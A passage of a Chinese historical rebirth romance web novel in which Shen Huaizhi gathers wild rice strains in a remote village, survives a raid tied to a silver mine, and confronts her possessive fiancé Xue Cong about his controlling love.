古人先贤曾有言,“上以奉玉食,粢盛及醴酒,下以饱苍生,亿兆哺其口”,意思是说在祭祀仪式中,用粮食与美酒供奉祭祀祖先,从而求得神明庇护,以期获得健康丰收平安等,而这里所说的粮食与美酒,离不开稻麦这两种关键作物。 梧州是当年沈怀栀同老师等人共同选定的驯化优良稻种的重要基地,主要原因就是在于从当地某处比较偏僻的村子里发现了一种特殊的野生稻种。 多数野生稻,经常是稻粒干扁个头瘦小容易倒伏的,但也有一些特殊进化的稻种,会在某种特性上有所变异,在那个名为小石村的偏僻村落里,就存在着一种以粒多见长的野生稻。 前世能发现这种稻子也是机缘巧合,但也正是因为这份机缘巧合,造就了一种后来让稻谷产量倍增的优质稻种。 从前的偶然与随机已是过去,这次沈怀栀想亲眼去看一看上辈子这株历经波折才终于到达她手中的稻种。 小石村在梧州南面的山林间,这里作为人迹罕至仅有少数蛮人遗民聚居的地方,甚少有外人到访。 是以,当沈怀栀一行十几人出现在聚居地的边缘时,瞬间惹来当地百姓的注意。 那些人离得远远的,神情紧张且戒备的看着他们,指指点点的不知在说些什么,一同前来的几个向导只说对方并无恶意,极力想要为双方牵线做成他们眼中的这笔大生意。 “小石村这边虽然产些好药材,但在这边买田买地多少还是有些让人意外的,”其中一名向导对众人护着的沈怀栀道,“公子若是有意,我可以为您介绍其他好地方。” 身着男装的沈怀栀经冬桃巧手装扮后,如今充其量只算是一个容貌稍微有些俊秀的年轻公子,她摇摇头,拒绝向导的推荐,视线只在附近的荒地上打转。 上辈子再珍惜不过的野生稻,此时遍地都是,当年这些荒地上的稻种最后毁于一场林间大火,以致于后来培育良种之事费尽周折,钱财人力与时间不知浪费了多少。 如今绝世宝藏近在眼前,她放眼望去,只觉得心潮澎湃。 年轻时一心沉浸于情爱的沈怀栀,从未想过自己人生的落脚点竟是在土地之上,那些在田地里生机勃勃的植株,会给她带来无尽的幸福感与满足感。 也是那时候,她终于理解书本之中古人先贤们的远大理想与追求,先人遗志第一次在她心中有了明确的画面和目标。 那不是父亲和薛琮他们在朝堂中汲汲营营追求的野心与权势,也不是诸如祖母与母亲那般的狭隘与偏执,她在老师的引导下,看到了一个更为广阔崭新的世界,然后发现眼中的世界从此有了诸多斑斓色彩。 那是一种很神奇的感觉,无法简单的用语言来描述与分享,她只知道,她做这些事是快乐的欢欣的,付出是无怨无悔的,不管土地天时有没有辜负她的付出,她都没有半分怨怼。 自此,以小石村为落脚点,沈怀栀等人暂时停留了下来。 山间生活清苦,尤其是偏僻的小石村,可以说是要什么没什么,但即便如此艰难,每日里沈怀栀去往田间时都是面上带笑的。 虽说语言不通,但聚居地的蛮人遗民们见他们并无恶意,渐渐的也接受了这些外人的到来,尤其是随着两边频繁交换各类生活用品,彼此关系可谓是渐入佳境。 “吱吱,我们今天也来帮你干活。”蛮人中最近和她熟悉起来的小孩子们神情热络的冲过来,一大群孩子围在一起,叽叽喳喳的同她说话。 这边的蛮人只会说本地土语,为了方便交流,沈怀栀专门请了个向导学习本地语言,当然,因为有糖盐等好东西开道,对方在交换过程中十分积极的同她学着官话。 虽然听起来有些不伦不类的,但总算是方便了交流,其中孩子们学得最快最多最好,约莫也是因为沈怀栀格外喜欢雇佣这些孩子们陪她干活的缘故。 用糖作为奖励,她每天都同这些手脚伶俐的孩子们在山野间跑来跑 去,他们带她熟悉地形,给她介绍各种各样的本地植物,她的脚步踏遍山野,将自己发现的每一株优良的野生稻或者特殊植株做好记号。 平淡的日子就这样一日日过去,她每日都忙得格外充实,月底时州城那边父亲专门派来的属官登门拜访,带来了父亲“关心”的同时,也送来了刺史大人的关心与问候。 “刺史大人很惦记大姑娘,平日里总要时不时问起,若是姑娘方便,不如书信一封让我带回去以慰藉大人爱女之心?”一脸笑眯眯的属官道,“还有,下官此次来这边视察公务需要暂时停留几天,正好为姑娘准备些常用的东西,毕竟这山上的日子实在清苦,虽说姑娘心有大志,是为了做正事,但也不可太委屈亏待自己,不然世子知晓了难免要怪罪我们没有照顾好姑娘。” “世子?”沈怀栀手上动作停了一瞬,确认般问道。 “世子。”属官笑眯眯点头道,“所以,姑娘万不可太委屈自己了。” 好吧,薛琮的手真是伸得越来越长了。 不过只要他人不来,沈怀栀就能安心。 身兼沈刺史与薛琮两重责任的属官,办事效率着实是高,他只在这里呆了三天,沈怀栀的衣食住行就来了个翻天覆地大变样。 虽说和贵女生活不能比,但差不多就是她平常在庄园里那种水平,也就是她极力拒绝增加服侍的人手,不然对方好歹要给她再买上几个丫头回来。 就这,属官临走时还有些不满意,那副认为自己办事未能尽善尽美苛责自己的神情,沈怀栀看了都想感叹一声她何德何能,对方真的是天生就该有升官发财的命。 为此,她在分别给父亲和薛琮两人的信中,都不吝言辞的大肆夸赞了这位属官的尽职尽责。 生活条件变好后,沈怀栀要做的事也逐渐变多,将居住地周围的山野走了大半,获得了足够多的野生稻种之后,她开始组织人在附近开垦荒地,打算试种自己带来的良种。 梧州这边气候条件优越,刚好能赶上一波晚稻,于是沈怀栀日日带着人晒种选种浸种催芽,而薛良他们则负责监督荒地的开垦事宜,并请了人在附近顺着河道引水造渠,以方便后期种植。 就这样,小石村因为这些忙碌的农事,逐渐变成了附近最为热闹的村子,就算位置偏僻人迹罕至,但因为沈怀栀大笔银子毫不吝啬的洒出去,竟然也逐渐变成了一个极热闹的地方。 至于不远千里非要花钱跑来这偏僻地方种地的沈怀栀,则成了众人口中的大善人,虽然大家一致觉得这位善人傻得出奇。 但只要对方肯给活干给饭吃给银子,就算是傻子又如何,他们能给主家干一辈子活。 当初期最忙碌那段时间过去后,沈怀栀在追过肥引过水源的荒地里开始移栽插秧,当然,这活不必她亲自来干,那些乐意挣钱的蛮人们很乐意为这位大主顾效劳。 她日日在田间督查,还将逐渐成熟的野稻种一一仔细回收,可以说,她这次小石村之行,现在这种情况已经是最好的开始。 沈怀栀为此欢欣雀跃,有时候她甚至觉得就连当年她初初对薛琮心动时都不见得有现在这般满足快乐。 然而,福兮祸所依,祸兮福所伏,在她光顾着高兴时,却并未想到危险已经临近。 梧州是个比较特殊的地方,因为毗邻几个边陲小国,且还有分属诸多不同寨子的蛮人,所以在管理上一向软硬兼施多管齐下。 小石村的位置虽然偏僻,但同样是特别的,在沈怀栀所不知晓的内情里,上辈子那场大火并非意外,而是有些人蓄意而为,后续还引发了一场关于梧州这边官场的大地震,牵涉其中之人不知凡几。 如今这一世,沈怀栀在小石村雇佣人手大肆垦荒种田,将这原本不引人注意的地方置于众目睽睽之下,还招来了州府那边刺史等人的瞩目,自然招了某些人的眼。 毕竟,这个地方是真的有些特殊。 于是,就在沈怀栀觉得自己事业进展顺利之时,梧州附近的边军驻地突然得到消息,说是有小国异族举兵进犯,且对方来势汹汹,竟然在边军猝不及防之时迅速越过边境线,以致于边境骤起战火,百姓人人自危。 这种情况下,州府那边自然迅速和边军联动,开始调动兵马星夜赶去救援。 沈怀栀这边虽然偶有消息传来,但因离得远,众人并未重视,只按部就班的过自己的日子,虽然薛良等人加强了防守,但若危险袭来,他们人手少必然会捉襟见肘。 为了避免意外发生,薛良遣人同附近的边军联系,本来早就打点好的关系,却因为边防调动迎战敌人的缘故,就这样有了临时空缺。 见状,薛良不免要劝沈怀栀远离危险,“姑娘,安全起见,咱们暂时还是先离开小石村吧,虽然有我们这些护卫在,一些小危险还能应对,但就怕事有意外,真出了什么事措手不及。” “边境出事,梧州这边是一定会有探子潜进来闹事的,您身份特殊,不好置身险境。” 大事上,沈怀栀从来是个听劝的人,说来她对梧州的熟悉多是纸上谈兵,现在危险来临,她就算再舍不得自己那些田地,这会儿也认真听了薛良的劝告,和冬桃等人一起收拾行装以尽快启程。 但有时事情就是这么凑巧,异族既是冲着他们这群罪魁祸首来的,自然不会让他们顺利走脱。 于是,就在这天,小石村附近几个县城因为外邦探子的蓄意作乱引起了大骚乱,将附近所有能动用的兵力全都引到了县城那边,以致于当地守备愈发空虚。 阴沉沉天色里,就连夏日的风都变得沁凉了起来,风声刮过林间,发出呜呜声响,让人颇觉沉闷不详。 他们这些人站在山上,甚至能看到远处县城里燃起的一丛丛黑烟,薛良眉头紧皱,面色沉重道,“异族人在到处蓄意纵火,县里现在肯定乱得不行,恐怕我们此时动身已经来不及了,姑娘,咱们现在最好呆在原地静观其变。” “都听你的。”沈怀栀道,“你带着人看一下周围情况,免得生人靠近。” 谁也不敢保证这时候出现的陌生人是不是异族奸细,因此只能以防备为主。 “姑娘放心,我知道该怎么办。”薛良留下几人安排好护卫事宜后,带着两个同伴朝附近跑了过去。 因为之前打算启程离开的缘故,众人此时都聚在一起,好歹众人还能安心一二,他们退回自己的小院里守好门户,却不妨外面突然有尖叫声和哭喊声响起,甚至附近也开始有纵火的黑烟燃起。 “异族这么快就来了?”看着周边迅速燃起的几处黑烟和越来越多的哭喊声,有人惊异道,“这动作也太快了!” 听着外面嘈杂动静,沈怀栀突然福至心灵般,想起了上辈子小石村那场烧尽一切的大火,虽然时间不同,但事件却是相似的,她心中生出不好预感,怀疑眼前发生的这一切可能是蓄谋已久。 混乱很快蔓延,在沈怀栀准备让人出门救人时,小院的门被人猝不及防的踹开,众人瞬间严阵以待。 门外是一群身着异族人服饰满身彪悍匪气的士兵,人人手持兵器,看过来的眼神里轻蔑夹杂着血腥,宛如驱赶家畜一般二话不说就动了手。 “人都给我弄死,老大说了,一颗人头一两金,你们这群小子有的赚了!”当先一个身材高大的异族人率先开口,用着生涩的本地话招呼身后跟随的士兵们,“院子里还有几个漂亮姑娘,一个个机灵着点儿,等杀完了带回去享用!” 这话在场众人听得清清楚楚,国仇家恨生死大仇在前,两方人迅速动起了手,个个都不含糊,一心想要置敌人于死地。 沈怀栀被冬桃护着快步退进房间里,以免在外碍手碍脚,两人在窗前看着外面形势,听着兵刃相接声响,心跳得飞快。 很快,交手的两拨人就见了血,薛琮专门安排给沈怀栀的护卫无疑是个中好手,但 架不住敌人源源不绝,护卫们将异族拦在血线前,任凭对方如何突围也不肯退让半分。 伴随着惨呼声与言语不堪的咒骂声,这场交锋很快转变了形势,约莫是觉得眼前这群人着实是难以攻克的硬茬子,在异族人又接连丢下几具尸体过后,对方很快选择了逃跑,只留下满院血腥。 “姑娘,情况不太对,”有受伤的护卫忍痛道,“这群异族人明显有备而来,我看他们数量绝不会少,外面肯定还有人手在向这边聚集,他们那群人一旦叫来救兵,我们会有大-麻烦。” “现在最安全的地方应该是边军驻地,”有人道,“我们需要抓紧时间往那边去,情况紧急,咱们最好加快赶路。” 之后,就如同沈怀栀猜测的那样,小石村这边突然出现的异族人确实数量不少,当手无寸铁的平民对上杀人不眨眼的异国恶徒,放眼望去,整个小石村似乎都被无尽的黑烟与血色笼罩。 沈怀栀觉得窒息,却依旧努力跟着冬桃逃跑,现在他们是没有余力救人的,只能寄希望于边军能尽快发现此处的不妥,好分兵来救。 因为联想到上一世的情况,沈怀栀心里颇有些不乐观的想法,但险境当前,也没有胡思乱想的功夫,只能抓紧时间逃命。 就在小石村即将彻底被血腥与火焰笼罩时,疾驰的马蹄声带来的地面震动瞬间让人看到了得救的希望,举着本朝战旗身着边军服饰的骑兵队伍就这样迅速接近,如一阵风般刮进了这场杀戮之中。 沈怀栀觉得自己似乎在领头之人里看到了薛琮,但对方身着盔甲,她又觉得是恐惧惊惶之下生出的错觉,两方即将靠近之时,其中一匹马上的骑兵突然一跃而下,仗着身高腿长就将她整个人抓在怀里动作迅速的滚到了一旁。 旁边草地之上,扎进土里的长箭尚且嗡鸣不止,沈怀栀头晕目眩之间,只觉得自己被人在手臂上狠狠的咬了一口,她还未来得及呼痛,就被人动作粗暴的搪塞进了跑过来救人的冬桃怀里,外加一句声色俱厉的痛斥—— “护好她!” 听声辨人,沈怀栀这下确定,救她的人是薛琮无疑了,毕竟,现在再没有谁比他更在意她的生死。 骑兵远去剿匪时,沈怀栀看着自己被薛琮匆忙之间咬出的伤口,直觉自己接下来要有大-麻烦了。 第49章 第49章—— 耳边依旧是和刚才别无二致的凄惨叫声,但当这些声音是从敌人嘴里发出时,沈怀栀觉得它格外动听。 骑兵清剿小石村这些异族的动作很快,约莫是因为这支队伍装备精良且身手不凡,远非一般边军能比,很快,这支凭空出现在小石村的异族被杀了个干净,周围终于再度恢复安静。 冬桃护在沈怀栀周围,因为家主的到来神情紧张,显然是在担心自己办事不力,刚才若非世子出手,那支箭说不得要害得姑娘重伤,如此大的纰漏,还是在前主人面前,她如何能不感到焦虑。 “别担心,”沈怀栀拍了拍冬桃的手背安抚她,“事有意外,你已经尽力护着我了,若非你一路上那么尽心,说不得我早就出事了。” “接下来是世子和我之间的事,你不必太忧虑,先看下自己身上的伤要紧。” 努力护着沈怀栀的过程中,冬桃自然不可能安然无恙,事实上,若非被伤势拖累,她刚才肯定不会出纰漏。 被这样安抚一番,冬桃好歹没那么焦虑了,虽然仍旧有些担忧,但已然恢复镇定。 入侵的外敌被灭之后,骑兵们开始有组织的安抚起小石村的百姓们,看他们行动如风迅速驻扎的模样,显然是要在本地久留的。 处理完正事后,回到此前自己居住小院里的沈怀栀听到了久违且熟悉的脚步声。 如今这会儿天色已晚,屋里屋外都有些昏暗,屋内因为外敌侵扰的缘故一片凌乱,此时只孤孤单单的点了一支蜡烛照明。 晃动烛影里,身着盔甲满身血腥味的薛琮一步步靠近,泛着寒光锐意的甲片摩擦声里,背着光的人神情如何几不可见。 沈怀栀下巴被抬起,对方居高临下的打量着她,视线的存在感极其强烈。 薛琮不说话,沈怀栀同样不发一言。 刚才遇险千钧一发之际薛琮都没忘记狠狠咬她一口,足可见薛琮情绪波动之剧烈,沈怀栀已经足够清楚自己此时决不能轻举妄动,以免不小心再刺激到对方。 只可惜,她人虽然是这么想的,奈何身体不太配合,薛琮身上的血腥味实在太重太冲,她只忍了一会儿就耐受不住,不由自主的偏过头去呼吸新鲜空气。 心里明知道这是一个糟糕信号,奈何确实忍不住,偏头侧身换气的沈怀栀终于听到薛琮冷冰冰的声音。 他说,“看着我。” 听声音,他似乎比刚才冷静许多,但当沈怀栀抬头去看他时,屋内的光线终于照亮了薛琮那双猩红泛着血光的双眼。 沈怀栀看了两眼就想低头,却被薛琮强硬的捏着下巴被迫抬起,“我们真珠看起来似乎并不太想见到我?” “没有。”沈怀栀言简意赅的回道。 “真没有吗?”薛琮似笑非笑的道,“难得我们真珠愿意给我写那么多回信,愿意用心哄着我捧着我,看起来多好啊,情深意重似的,其实呢,她只怕梦里都在担心我南下来寻她。” 沈怀栀不意外自己的盘算被看穿,只是在刚被薛琮救过之后立即提到这些,难免有那么一点尴尬,但也只有一点而已,毕竟他们之间什么情况,彼此心知肚明。 她对薛琮除了妥协就是应付,他自己应当是最清楚不过的,却还偏要强求,自然不能指望她给出什么好的回应。 “不过,就算你骗我应付我,我也心甘情愿,”薛琮低声道,“毕竟,我们真珠如今愿意花费心思在我身上,已然是了不得的事了。” “总好过你花心思惦记旧情人。” 这话委实难听,且触到了沈怀栀逆鳞,她动作粗鲁的推开薛琮的手,直接问道,“我不想听你说那些有的没的,我只问你,你突然南下出现在小石村是什么情况,这里是有什么特殊之处吗?” 薛琮遗憾的收回手,在沈怀栀身旁坐下,简单直接的道,“这里有银矿。” 短短五个字,沈怀栀已然能窥见其背后涉及的腥风血雨。 她现在终于明白小石村这场祸事的由来了,包括上辈子那场大火在内,如果涉及到银矿,那无论是异族的突然出现还是当年梧州官场的变动,都情有可原了。 不得不说,她的运气着实微妙,一选就选了个别人怀里的聚宝盆。 但即便这里有银矿,薛琮本人出现在这里也颇有些大材小用了,须知上辈子薛琮同样奉圣人之命去往边疆,只不过是抵御北戎,并在那里呆了三年之久,只不过他出征时已是他们成亲之后,且他出发不久,她就被查出身怀有孕,很是过了一段艰难日子。 因着想起旧日一段不太美妙的回忆,沈怀栀歇了追问的心思,她静静的坐在那里,一副不想同任何人说话的模样,安静宛如木石。 但薛琮此时却很有谈兴,他道,“自你南下之后,我就不曾疏忽过梧州这边,既关注的多了,自然会发现些不妥。” “起初本以为不过是些官员贪赃枉法的平常事,谁知其中涉及到异族细作,金鳞卫插手之后,梧州这边许多旧年烂账自然被扯了出来,还牵扯到曾经大皇子二皇子与太子的夺嫡之争,事情越挖越深之后,这后面的惊天祸坑自然是填不上的。” “也就是我上辈子起初一直镇守北疆,对南边这里的情况不甚熟悉,否则必定不会置你于危险之中。” 这话沈怀栀是信的,故而她此时只问了一句话,“你什么时候到的梧州?” 今日能及时救她,显然不是出于临时起意。 薛琮看了她一眼,神色平静道,“半个月前,不过我手上有公务,所以没能及时来寻你。” “你要在这里待多久,什么时候离开?”沈怀栀又问道。 “等这边的事情处理完毕,我才会回京复命,”薛琮道,“可能比你想象中呆的时间要长,也可能比你推测的要短,全看这边官场是个什么情况。” 小石村的银矿,异族恰到好处的动手,无一不说明本 地官员中有同异族勾结之人,薛琮留在梧州,明显是要大开杀戒清洗本地官场震慑梧州官员的,其中包括沈怀栀那个位居梧州刺史却明显有所失职的父亲。 薛琮身为圣人信重之人,被派来处理此事,明显是不可能徇私的,即便对方是他未婚妻的父亲。 所以,沈怀栀问道,“我父亲在其中牵扯得有多深?” 在她的记忆里,上辈子父亲只是在梧州多停留了几年,官途并未有过太大的波折与变动,但对方在梧州蹉跎那几年,也正好是京中最乱那几年,永嘉侯府作为处于风暴中心的涉事者,同样举步维艰,所以她反而不清楚这次银矿案带来的后果有多严重。 “就目前的进展来看,牵扯的不太深,”薛琮道,“你不必担心,就算是看在你的面子上,我也会护着他的。” 薛琮丝毫不觉得自己徇私的行为有任何问题,圣人既然遣他南下,自然清楚他这位岳父事涉其中的话他必然为难,所以,临出发前,他已经出言请旨,愿意以爵位和功勋作保,为沈家赎罪,不论这个罪行有多重,他都愿意一力承担。 对此,圣人自然是要发怒予以斥责的,但如今的薛琮太清楚这位长辈心中矛盾的想法了,对方确实需要一只听话的恶犬,但恶犬也得有软肋,否则上位者用起来总归会有些疑心与不痛快的。 所以,虽然他看起来儿女情长了些,但这未必不是圣人期望看见的,这种微妙的想法他自己都不见得清楚,但薛琮却是看了个明白的,否则,他不会将自己的软肋示于圣人。 “我确实不希望父亲出事,但你公然徇私的话,没问题吗?”沈怀栀皱眉问道,“人非圣贤,皆有私心,这没什么不好承认的,但如果我父亲真的犯下滔天罪责……” 她还在斟酌用词,薛琮已经快速道,“你不用自己吓自己,岳父确实事涉不深,真正要负责的是上一任梧州刺史,现在的沈大人,若真要论罪,最重不过一个失察失职之罪。” 说实话,此时的沈怀栀确实有被薛琮的话安慰到,毕竟她确实不想自己的父亲沦为罪臣,纵然他有过,身为亲生女儿也是无法坐视不理他身陷囚笼的。 在她的设想里,最坏不过她面圣陈情,借用文谦先生弟子的身份,走到圣人面前,希望他给自己和沈家一个将功折罪的机会,她相信,她是能做到用功绩救家人的。 当然,前提是她身边没有薛琮。 现在的薛琮,无疑是最不能容忍她出事的,之前诸多表现可见一斑,但她也并不想在这种事上利用他那份在意。 “这件事上,你确定没有瞒骗我?”沈怀栀追问道,“你不要打着为我好的名义瞒骗我,我需要知道真相,就算真相不堪,我也能接受。” “这种小事,我没必要对你撒谎,”薛琮笑道,“你想得太多了。” “那你发誓,”沈怀栀道,“用我发誓。” 很明显,这句话惹了薛琮不痛快,他并不想应下她这份无理要求,既不想也没必要,但沈怀栀坚持,最后,他到底是咬牙切齿的如了她的愿。 至此,沈怀栀终于相信薛琮说的都是真话了,毕竟,这会儿的他能拿她来立誓,确实有几分可信。 两人聊完之后,心情不太好的薛琮又继续出门忙碌去了,事涉银矿本就是大事,还有异族边境作乱,再加上梧州境内通敌的官员以及到处流窜作乱的奸细,他就算想留下来也分身乏术。 于是,之后几天小石村除了多了一支驻守的军队之外,纵然一片破败处处悲痛泛滥,到底还是恢复了之前的安宁。 薛琮回来,是在几天之后。 沈怀栀知道这件事,是因为她夜半醒来发现自己身边突然多了个人。 眼下有青黑的薛琮看起来极其疲倦,睡意深沉的他就这样双手搂着沈怀栀,将她整个人困在怀里,半分不松。 想也知道,他最近应当是很辛苦的,对于薛琮在公务上的尽责之心,沈怀栀是从无半分怀疑的,他最近应当每日睡得时间极少,以致于现在她醒来后他都无半分反应。 沈怀栀虽然不舒服,但也不想半夜突然叫醒一个疲累的人,她闭着眼睛躺在一旁,渐渐又涌起睡意。 只是这睡意刚起,她突然听到了身旁薛琮的梦话,然后惊出了她一身冷汗。 因为薛琮说—— “与其让你死在别人手里,还不如让我亲手杀了你。” 沈怀栀神情复杂的看着这个梦里也在发癫的男人,突然庆幸他最近日日在外忙碌了,不然以薛琮那日的疯性,怕是早就要和她算账了。 就在她刚生出心惊肉跳之时,他又自顾自的加了一句,“安心,真珠,我会陪你一起的。” 这大可不必吧? 沈怀栀眉头皱得极紧,她真想说,她这辈子还没活够呢,既不想和薛琮同生共死,更不想被他夜梦恐吓。 所以,她最终只能遗憾的,重重一巴掌打醒了沉浸在梦境中发疯的薛琮。 半夜神情迷茫醒来的薛琮,直面了沈怀栀的冷酷面孔和冷言冷语,“薛琮,如果你这辈子敢对我动手,害我不得安生,那我就不会再遵守远离陈理的承诺。” 言下之意,我会真的考虑和他在一起。 这下子,薛琮再无半点睡意,他如同刚才被惊吓的沈怀栀一般,立时出言阻止,气急败坏的道,“这绝对不行!” “行不行不是你说了算的,”沈怀栀道,“要看你怎么做。” “不是只有你会发疯吓人,”她说,“我同样也会。” 第50章 第50章“我确实后悔了。” 夏夜的山林间风声呼呼而过,幸而梧州这边的夏季是凉爽舒适的,若是如帝京中一般燥热的夏日,但凡薛琮凑过来,沈怀栀是肯定要立刻不快的。 就如此时的大半夜,两个人不点灯坐在床上,为着薛琮的几句梦话起了争执。 “我没有发疯,”薛琮为自己辩解道,“梦话而已,当不得真的。” “梦话?”沈怀栀声音冷淡,“老话说日有所思夜有所梦,若不是你白日里这个念头想得太多,如何会在梦里有这般呓语,说到底,你本就不值得信任。” “更何况,自我们再度重逢之后,你性情本就有些疯癫,时常让人预料不到会做出什么事来,我有此担忧再正常不过。” 薛琮靠在床侧,用自己在夜间也堪称卓越的视力静静的看着沈怀栀,许久一言不发。 “我确实后悔了。”最后,沈怀栀等来了他这样一句话。 冰冷语调里似乎不含什么强烈情绪,但沈怀栀只听薛琮的呼吸,感受他看过来的视线,就知道对方是认真的。 “当初,我不该同意你南下,不该贸贸然送你到我尚未掌控的地方,”他道,“所以,我确实后悔了。” 闻言,沈怀栀皱眉,却并未出言反驳。 有时候,在心智坚定的人面前,语言的作用微乎其微,更遑论是薛琮这样偏执的性情。 就算她在小石村遇险纯属意外,而他也在危险之际及时救下了她,但恐惧后怕这种情绪不讲道理, 它只会在心念偏执的人心中扎根且越来越深,直至他行事开始失之偏颇。 薛琮梦中的呓语,如何不能算作是一种应激与怨怼呢? 只是怨怼的对象,可能并不是她,两个人中,他更恨更怨的那个人必定是自己。 联想她上辈子的结局,再看此时的薛琮,她对他或许会多两分的理解,但也仅仅只是理解罢了,她不会认同他的决定,更不会让他随心意摆布她的新人生。 即便顶着为她好的借口,其根由终究也不过是薛琮宽宥自己私心的说辞罢了,说到底,为了安抚自己失去她的恐惧感,他只会变本加厉的控制她的自由。 因此,沈怀栀选择直接戳破他们之间那被层层粉饰过的假面。 “薛琮,与其说你爱我,不如说你爱的是你自己。”她道,“对上辈子的你来说,因为失去我感到痛苦,所以你要排解这份痛苦,那么害死我的人自然要承受你的报复。” “但之后呢,无论你因为这份所谓的爱做了什么,对一无所知的我来说,都是不存在且毫无意义的,它只存在于你那里,只是你满足自己执念的私有物而已。” 随着沈怀栀的话,薛琮的呼吸沉了两分,他看起来根本无法认同她的话,以致于整个人都情绪激动起来,咬着牙道,“不对,不是这样的。” 沈怀栀有些怜悯的看了他一眼,继续道,“虽然我直到现在也不清楚你到底爱我什么,又是什么时候对我情根深种的,但我只想说,不管是前世还是现在,一份只会为我带来麻烦的爱,于我来说那应该不能称之为爱,或许更多的只是你的自我满足与移情。” “你沉浸在一份执念里太久了,甚至形成了自己都没有察觉的惯性,自顾自的沉浸在这份过于偏执的情绪里,既困住了自己,也困住了别人。” “就像现在,你的所谓爱意,一不小心就会变成我的困扰和麻烦,明明我如此抗拒和逃避,你却依旧要强迫我接受,那我们两个之中,真正被取悦被满足的人到底是谁,还不够明显吗?” 沉重的呼吸里,沈怀栀听到薛琮越发咬牙切齿的声音,“不对,你说得不对,事情根本不是这样。” “对你来说不是这样,但对我来说却是如此,”沈怀栀直言道,“因为这件事里得利的人是你,所以你要紧紧抓着不放,于我而言,却是恰恰相反的。” “所以,我会感激你帮我,感谢你救我,愿意做出妥协和让步,但那不意味着我真的能和你重修旧好。” “过去的早就过去,我和你之间再没有走回头路的可能,你应当清楚这一点。” 薛琮不再反驳她的话,大概是因为反驳毫无意义,她不会认同他,他也不肯认同她,彼此分歧如此严重,最终只能保持缄默。 “我去外面吹吹风冷静一下。”最终,薛琮以一句话结束了这不甚愉快的争执。 小院之中,夏夜凉风徐徐,和前几日的阴沉天气不同,今日夜空之中繁星满布,山林间的萤火虫在院中上下飞舞,是一副和之前破败血腥模样截然不同的宁静悠远。 被夜风吹拂到脸上之后,薛琮此前在沈怀栀面前的那副激动模样彻底消失,取而代之的则是深沉与冷酷。 他的妻子,真的是口舌伶俐能言善辩。 凡事关心则乱,薛琮不否认自己曾经被短暂的动摇过,那一刻几乎都要相信她说的话了,但很快,他就察觉到其中的异样之处。 沈怀栀的话看似很有道理,但仔细深想一二,很快能察觉其中纰漏,尤其,她本性心软良善,就注定了她斗不过薛琮这等心机深沉的黑心之人。 她的话确实是真心话,但这番话中转移矛盾和焦点的手段也颇为高明,面对心心念念的心爱之人,薛琮偶尔也会出现脑子与理智不够用的情况,况且面对她,他总免不了感情用事,所以自然会受到影响与辖制。 但唯有一点她是失算的,那就是薛琮心中这份感情的重量。 没有经历过他那段人生的人是很难感同身受的,所以纵然沈怀栀体会到他再多异样与疯癫,心底也始终缺乏对他和这段感情的清晰认知。 但即便如此,她依旧做到了逼得他退让一步,就像现在,薛琮已经没有了此前控制她自由将人绑在身边的想法,他们两个,将会再度恢复此前的平和相处局面。 不管她说那番话的初衷如何,在薛琮这里,她已经如愿达成自己的目的。 毕竟,经过今夜这番谈话之后,短时间内他是肯定不会再生出越界之心的。 就像是水面上吹过的一阵风,虽然有波纹荡开,但风过后终究会恢复平静,至于水面之下如何汹涌,那就是另一回事了。 短暂的在沈怀栀身边停留一天之后,薛琮又开始了忙碌日常。 梧州乱象带来的问题不是一朝一夕可以解决,有圣人授命在身的薛琮,杀起人来是毫不手软,整治起本地官场来更是毫不留情,很快在民间传出了玉面修罗这个称号。 沈怀栀听人提起时还有些茫然,她在山间专注农事,并未过多打听案子情况,奈何薛琮行动力太强,就算是小石村这么边远的地方,百姓们都知晓了州城里来了个杀人不眨眼的大人物,尤其是,这位大人物据说长相俊俏极了。 总之,在村子里整修田地时被女眷们如此打趣,沈怀栀当真是笑也不是应和也不是。 自那日两人起了争执之后,彼此就默契的回避了此类话题,但薛琮人虽离开得痛快,却不代表他当真会放任她,是以,即便他不在她身边,但存在感却依旧强烈。 毕竟,在薛家的人接连不断的以她未婚夫的名义前来送东西之后,周围百姓难免议论。 大概是奉了薛琮的命令,这些人行事大张旗鼓很是张扬,恨不得一言一行里都极尽彰显薛琮对她的重视,以致于在不知内情的外人看来这桩姻缘极好极般配,许多人言语间都是对她的羡慕,觉得她拥有这样的未婚夫很是幸运。 处于这样的环境中,沈怀栀很清楚,但凡她在外表现出一分对薛琮的不耐与冷漠,她日后在小石村的日子就不会平静。 薛琮此番作为,目的不只是为了护她,恐怕还有昭示主权的意思,毕竟在听说梧州生乱之后,原本在其他地方游学的陈理已经有了回来访友的打算。 至少,寄回来给沈怀栀的信里,是如此写的。 这种情况下,沈怀栀不觉得这是个好选择,有薛琮这个说不好何时会发疯的人在,她并不想陈理再牵涉其中亦或者被迁怒。 于是,她认真的写了回信,将自己这边的情况尽数告知之后,鼓励他继续周游。 既然已经脱身,就不要再回头了。 薛琮这一场忙碌,持续了两个多月,等他终于能长久的停留在小石村时,时间已到了秋天。 “等州城那边的事情收尾,我就要启程回京了。”夜里,睡在沈怀栀身边的人说,“就算你不想看见我,不耐烦应付我,也就这几天功夫,忍忍就过去了。” 沈怀栀困倦的打了个哈欠,不想说话。 她和薛琮的分歧没得谈,所以也懒得浪费口舌,只要他不逼她,彼此面上能做到相敬如宾,她就愿意粉饰太平。 总归,他人是要走的,她只求这个。 看在他马上要离开的份儿上,沈怀栀容忍了他偶尔的越界,终于,她等来了薛琮离开的那一天。 梧州去往帝京的官道上,聚集着浩浩荡荡准备启程的一行人,在烈烈旌旗中,沈怀栀看到了被人群簇拥在中间的薛琮。 他浑身散发着不容人亲近的冷意,远远的投来视线,如之前答应她的那样,保持了距离。 “一路珍重。”沈怀栀神色平静,语调平淡,半分不为离别所苦所伤感。 至于薛琮,他露出一点言不由衷的笑意,终究是头也不回的转身离开了。 沈怀栀知道,如果她一直在梧州待下去,或许终有一日会在这里与薛琮重逢,她有这个心理准备,只是没想到,重逢这件事比她预想中要来得更快更措手不及。 来 年春天,当她轻车简从的带着人在某处村镇里跟着乡间老农学习时,那位来自帝京的不速之客行事嚣张的在田里挡了她的去路,似笑非笑道,“沈姑娘,听说你到处跟人说我死了?” 50-60 第51章 第51章—— 半年时间不长不短,但已能改变很多事情。 对沈怀栀来说,她的半年是在田地里到处跑等待秋收冬藏的半年,对于身处帝京的薛琮来说,却是足够翻天覆地的半年。 帝京里的消息传到梧州这边需要花费时间,身处州府的沈刺史消息尚且灵通一些,但他也不是会和女儿商讨帝京形势变化的人,以致于直到薛琮突然南下出现在她面前,她才知道对方这半年来究竟在京里做了多大的事。 当初梧州银矿案事发,薛琮领天子之命整顿本地官场,虽说当时已经杀得人头滚滚,谁料这根本不是结束,而是开端。 